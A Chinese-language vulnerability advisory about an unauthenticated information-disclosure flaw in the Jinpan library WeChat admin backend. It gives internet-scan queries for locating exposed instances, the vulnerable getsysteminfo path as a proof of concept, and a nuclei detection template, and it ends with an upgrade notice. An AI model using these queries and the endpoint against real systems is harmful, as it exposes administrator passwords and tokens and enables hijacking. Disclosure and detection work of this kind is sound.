免责声明
文章所涉及内容，仅供安全研究与教学之用，由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。
漏洞描述
北京金盘鹏图软件技术有限公司的金盘图书馆微信管理后台 getsysteminfo 存在未授权访问漏洞，可获取管理员账号密码等敏感数据，导致攻击者能以管理员身份进⼊后台窃取敏感信息，并获取Tokem直接劫持小程序。
网络测绘
FOFA网络测绘搜索
title="微信管理后台" && icon_hash="116323821"
鹰图网络测绘搜索
web.title="微信管理后台"&&web.icon=="0488faca4c19046b94d07c3ee83cf9d6"
漏洞复现
POC：
/admin/weichatcfg/getsysteminfo
由于鉴权逻辑缺陷，可以未授权访问getsysteminfo接口，能直接获取管理员账号、密码、小程序Token等重要敏感信息导致相关应用小程序被劫持，小程序用户、企业相关资质、支付接口等信息泄露。
nuclei验证POC模板
id: jinpan_librarywechatmanagement_getsysteminfo_unauthorized
info:
name: jinpan_librarywechatmanagement_getsysteminfo_unauthorized
author: 4Zen
severity: low
tags: unauth
metadata:
max-request: 1
http:
- method: GET
path:
- "{{BaseURL}}/admin/weichatcfg/getsysteminfo"
matchers-condition: and
matchers:
- type: word
words:
- "application/json"
part: header
- type: status
status:
- 200
修复方案
官方已发布安全修复版本，请升级至官网最新版本。
http://goldlib.com.cn/
原文始发于微信公众号（划水但不摆烂）：【漏洞情报 | 新】金盘图书馆微信管理后台信息泄露漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论